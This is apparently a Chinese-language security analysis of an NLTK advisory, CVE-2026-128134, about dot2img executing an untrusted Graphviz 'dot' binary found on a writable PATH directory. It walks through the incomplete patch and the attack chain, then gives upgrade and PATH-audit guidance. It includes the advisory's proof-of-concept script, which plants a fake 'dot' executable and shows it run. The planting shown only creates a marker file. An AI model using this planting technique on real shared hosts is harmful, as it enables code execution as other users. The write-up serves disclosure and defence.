导语:NLTK dot2img 漏洞(CVE-2026-128134,CVSS 7.8)是一个典型的“补丁只修了一半”案例——同一个 Graphviz
dot调用点,兄弟模块translate/api.py已接入spawn_trusted可信执行链,而dot2img只拿到了第一层防护,剩余的所有权校验与环境变量清洗全部缺席。对于任何在共享 POSIX 主机上跑 Jupyter Notebook 的团队,这意味着一个可写 PATH 目录就是一条本地代码执行通道。
企业级架构规范
flowchart TD
subgraph 攻击面 ["本地攻击面 (Local Attack Surface)"]
A["攻击者:可写 PATH 目录"] --> B["植入木马 dot 可执行文件"]
end
subgraph 触发层 ["受害者触发层 (Victim Trigger Tier)"]
C["Jupyter 渲染 DependencyGraph"] --> D["_repr_svg_ 自动调用 dot2img"]
E["直接调用 dot2img"] --> D
end
subgraph 解析层 ["二进制解析层 (Resolution Tier)"]
D --> F["find_binary 仅第一层防护"]
F --> G["返回绝对路径 未做所有权校验"]
end
subgraph 执行层 ["执行与提权层 (Execution Tier)"]
G --> H["subprocess.run 裸调用"]
H --> I["继承完整环境变量 LD_PRELOAD 等"]
I --> J["以受害者身份执行任意代码"]
end
subgraph 防御层 ["可信执行链 (spawn_trusted 缺失)"]
K["resolve_trusted_executable 层2"] -.->|未调用| H
L["safe_env 环境清洗 层4"] -.->|未调用| H
end
一、事件背景:一个被“半修复”的 CVE
这并非 NLTK 第一次在 Graphviz dot 调用上栽跟头。此前的 GHSA-6hwm-xvph-95vm(CVE-2026-78680)已经针对 nltk/translate/api.py 中的 dot 调用修复了不受控搜索路径问题(CWE-426/CWE-427),修复版本为 3.10.3。那次修复是“两段式”的:
- 在
find_binary中统一拒绝当前工作目录相对路径匹配(第一层); - 将原生工具调用统一路由到
nltk.pathsec.spawn_trusted(第二、四层)。
问题在于,nltk/parse/dependencygraph.py 中的 dot2img 只拿到了第一段。代码从裸调用 subprocess.run(["dot", ...]) 改成了 find_binary("dot") 再执行绝对路径,并附上了 CWE-426/427 的注释——看起来“修过了”,但 spawn_trusted 的路由始终没有接上。于是 NLTK dot2img 漏洞成为一个独立的残余风险面,与已修复的兄弟模块形成鲜明对比。
安全修复的“覆盖面”比“修复动作”更重要。当同一类缺陷存在于多个调用点时,必须以“调用点清单”为单位做闭环验证,而不是以“函数是否被改过”为准。NLTK 的 EXTERNAL_TOOL_SECURITY.md 中硬包装器清单只列了 translate/api.py,dot2img 从未进入清单——这正是遗漏的制度性根因。
二、根因拆解:四层防御模型为何在 dot2img 处断链
2.1 NLTK 原生工具安全模型的四层设计
NLTK 在 nltk/EXTERNAL_TOOL_SECURITY.md 中定义了原生外部工具的四层纵深防御。理解这四层,是理解 NLTK dot2img 漏洞的关键:
| 层级 | 防御机制 | 实现位置 | dot2img 是否生效 |
|---|---|---|---|
| 第 1 层 | 拒绝 CWD 相对路径匹配 | find_binary |
已生效 |
| 第 2 层 | 校验文件所有权与可写位 | resolve_trusted_executable |
缺失 |
| 第 3 层 | 拒绝 shell 执行 | spawn_trusted |
缺失 |
| 第 4 层 | 清洗 loader/interpreter 环境变量 | safe_env |
缺失 |
第 2、3、4 层只能通过 nltk.pathsec.spawn_trusted 触达。而 dot2img 的调用链是 find_binary("dot") → subprocess.run([dot_binary, ...]),中间没有任何 spawn_trusted 环节,也没有传入 env= 参数。
2.2 关键代码路径对照
漏洞的核心在于“解析”与“执行”之间的信任断层。下面这段对照清晰地展示了加固版与脆弱版的差异:
# 第 626 行:仅第一层防护
dot_binary = find_binary("dot")
# 第 631 行:文本格式分支,裸调用,无信任校验、无 env=
subprocess.run([dot_binary, "-T%s" % t], ...)
# 第 638 行:二进制格式分支,同样的缺口
subprocess.run([dot_binary, "-T%s" % t], ...)
# 第 145 行:走可信执行链,四层防护全部生效
process = spawn_trusted(dot_binary, [f"-T{output_format}"], ...)
find_binary 的第一层防护只过滤“非绝对路径”的匹配。当 which 搜索阶段返回一个位于可写目录中的绝对路径时,该路径会被原样放行。因此“已经改用 find_binary 了”绝不等于“已经安全”——这正是 NLTK dot2img 漏洞容易被误判为已修复的原因。
三、攻击链复盘:从可写目录到本地代码执行
该漏洞的利用门槛低得惊人:攻击者只需是一个本地非特权用户(或拥有本地代码执行能力),并且受害者 PATH 上存在任意一个组可写或全局可写的目录。典型场景包括权限为 drwxrwxr-x 的 Homebrew /usr/local/bin,或被前置到 PATH 的可写目录。
3.1 完整攻击步骤
- 暴露:共享 POSIX 主机上,受害者
PATH中存在组/全局可写目录,攻击者写入木马dot; - 控制:攻击者完全控制木马文件内容,无需控制任何 NLTK 输入;
- 触发:受害者渲染
DependencyGraph(Jupyter 显示触发_repr_svg_,进而调用dot2img),或直接调用dot2img; - 绕过:
find_binary仅执行第一层过滤,返回攻击者的绝对路径,resolve_trusted_executable与safe_env从未被调用; - 原语:
subprocess.run以完整继承环境执行不可信绝对路径; - 结果:以受害者身份执行任意代码,并因环境未清洗而额外获得 loader 注入面(
LD_PRELOAD、DYLD_*、GCONV_PATH)。
3.2 官方 PoC 复现
官方 PoC 无需任何第三方依赖,仅需 POSIX 主机与可导入的受影响 NLTK 构建。它同时验证了“加固路径会拒绝、脆弱路径会执行”这一核心事实:
import os, stat, tempfile, subprocess, sys
d = tempfile.mkdtemp()
dot = os.path.join(d, "dot")
with open(dot, "w") as f:
f.write("#!/bin/shntouch " + os.path.join(d, "MARKER") + "necho ''n")
os.chmod(dot, 0o777)
os.chmod(d, 0o777)
os.environ["PATH"] = d + os.pathsep + os.environ["PATH"]
os.chdir("/")
from nltk.pathsec import resolve_trusted_executable
from nltk.parse.dependencygraph import dot2img
print("resolve_trusted_executable(planted dot):", resolve_trusted_executable(os.path.join(d, "dot")))
out = dot2img("digraph G { a -> b }")
print("dot2img stdout:", repr(out))
print("planted dot executed (marker created):", os.path.exists(os.path.join(d, "MARKER")))
预期输出清晰地展示了断层:resolve_trusted_executable 返回 None(拒绝该二进制),而 dot2img 却成功执行了它并创建了标记文件。
resolve_trusted_executable(planted dot): None dot2img stdout: 'n' planted dot executed (marker created): True
四、补丁遗漏的验证:为何这不是重复漏洞
在漏洞研判中,“是否与已修复漏洞重复”是最容易被草率下结论的环节。研究者对 NLTK dot2img 漏洞做了四组反证,全部失败,从而确认其独立性:
| 反证假设 | 验证结论 | 判定 |
|---|---|---|
| 修复已覆盖所有 dot 解析路径 | 第一层只过滤非绝对路径,dot2img 从未触达第 2/4 层 | 被推翻 |
| 与 CVE-2026-78680 重复 | 负向对照:CWD 植入 ./dot 时 find_binary 抛 LookupError,旧修复仍生效 |
被推翻 |
| 系统 dot 会遮蔽木马 | 前置可写目录或替换可写 PATH 目录中的 dot 即可利用 | 被推翻 |
| 仅特定输出格式受影响 | 文本与二进制两个分支共享同一未防护执行 | 被推翻 |
如果你在 3.10.3 上看到 dot2img 已改用 find_binary 并带有 CWE-426/427 注释,请勿据此判定“已修复”。该注释只对应第一层防护,NLTK dot2img 漏洞在 3.10.3 及以下版本中依然完整可利用。必须升级到 3.10.4。
五、工业级应急响应与纵深加固
5.1 立即处置:升级与验证
首要动作是升级到已修复版本,并在升级后做一次主动验证,确认 dot2img 已接入可信执行链:
# 升级到修复版本 pip install --upgrade "nltk>=3.10.4" # 确认版本 python -c "import nltk; print(nltk.__version__)" # 复跑 PoC,预期 resolve_trusted_executable 返回 None 且 dot2img 拒绝执行 python poc_dot2img.py
点击展开:批量排查受影响环境与 PATH 风险目录的检测脚本
#!/bin/bash
# 1. 扫描所有 Python 环境中的 NLTK 版本
for py in $(which -a python3 python 2>/dev/null | sort -u); do
ver=$($py -c "import nltk;print(nltk.__version__)" 2>/dev/null)
[ -n "$ver" ] && echo "$py -> nltk $ver"
done
# 2. 检查 PATH 中是否存在组/全局可写目录
IFS=':' read -ra DIRS <</dev/null || stat -f '%Sp' "$d")
case "$perm" in
*w*w*|*w*wx*|*wx*w*) echo "[RISK] 可写 PATH 目录: $d ($perm)" ;;
esac
done
5.2 纵深加固:不依赖单一补丁
即便升级完成,也建议在环境层面做纵深加固,因为 NLTK dot2img 漏洞暴露的是“本地可写 PATH”这一更普遍的攻击面:
- 收紧 PATH 权限:移除或修复
PATH中所有组/全局可写目录,尤其是共享主机上的/usr/local/bin; - 显式指定二进制路径:在受控环境中通过配置固定 Graphviz 路径,避免依赖
PATH搜索; - 环境变量白名单:在服务端渲染场景中,以最小环境启动进程,主动剔除
LD_PRELOAD、DYLD_*、GCONV_PATH; - Jupyter 隔离:Notebook 自动触发
_repr_svg_是隐蔽的触发面,建议在多租户 Notebook 环境中限制自动渲染或隔离用户权限。
把“可信执行”做成强制收口点(chokepoint),而不是每个调用点各自为战。NLTK 的 spawn_trusted 设计本身是正确的,问题在于 dot2img 绕过了它。工程上应通过静态检查(如禁止直接 subprocess.run 调用外部二进制)来保证收口不被绕过,这比依赖开发者自觉更可靠。
六、给架构师的启示
NLTK dot2img 漏洞是一个教科书级的“补丁覆盖不全”案例,它给所有维护外部工具调用的团队留下三条硬性经验:
- 以调用点清单闭环:修复一类缺陷时,先枚举全部同类调用点,逐一验证是否接入统一收口,而不是以“函数被改过”作为完成标准;
- 安全文档即契约:
EXTERNAL_TOOL_SECURITY.md中的硬包装器清单应作为 CI 校验项,新增或遗漏的调用点必须触发告警; - 本地攻击面不可忽视:CVSS 7.8 的本地提权漏洞在共享主机、CI Runner、多租户 Notebook 场景中杀伤力被显著放大,PATH 权限治理应纳入基线检查。
对于正在使用 NLTK 进行依存句法可视化、教学环境或数据科学平台的团队,请立即核查版本并升级至 3.10.4,同时按上述清单完成 PATH 与环境变量的纵深加固。NLTK dot2img 漏洞的教训不在于某个函数写错了,而在于“看起来修过了”比“明确知道没修”更危险。
本文核心技术背景源自 GitHub Advisory Database 官方安全公告:
GHSA-7mxv-7h3q-9324 / CVE-2026-128134 (nltk/nltk)
